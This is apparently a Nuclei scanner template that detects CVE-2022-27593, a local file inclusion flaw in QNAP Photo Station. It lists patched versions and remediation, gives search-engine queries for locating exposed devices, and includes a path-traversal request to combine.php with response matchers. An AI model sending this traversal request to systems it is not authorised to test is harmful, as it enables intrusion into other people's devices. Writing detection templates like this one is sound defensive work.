QNAP QTS Photo Station External Reference - Local File Inclusion

id: CVE-2022-27593

info:
  name: QNAP QTS Photo Station External Reference - Local File Inclusion
  author: allenwest24
  severity: critical
  description: |
    QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest security patches and updates provided by QNAP to fix the local file inclusion vulnerability in QTS Photo Station.
  reference:
    - https://attackerkb.com/topics/7We3SjEYVo/cve-2022-27593
    - https://www.qnap.com/en/security-advisory/qsa-22-24
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27593
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2022-27593
    cwe-id: CWE-610
    epss-score: 0.87908
    epss-percentile: 0.99743
    cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qnap
    product: photo_station
    shodan-query:
      - title:"QNAP"
      - http.title:"photo station"
      - http.title:"qnap"
      - 'content-length: 580 "http server 1.0"'
    fofa-query:
      - title="photo station"
      - title="qnap"
    google-query:
      - intitle:"qnap"
      - intitle:"photo station"
  tags: cve2022,cve,qnap,lfi,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "!function(p,qa){"
          - "module.exports"
          - "application/javascript"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cb7764afa3cd3033023a364f2d4130a4de397eeb63ab1ab4d4f383afbcf6f902022100e17fe9c303a5bb6dce9d4df8d617c1b2c45b6e962cf65d3edd0b9235f24761fc:922c64590222798bb761d5b6d8e72950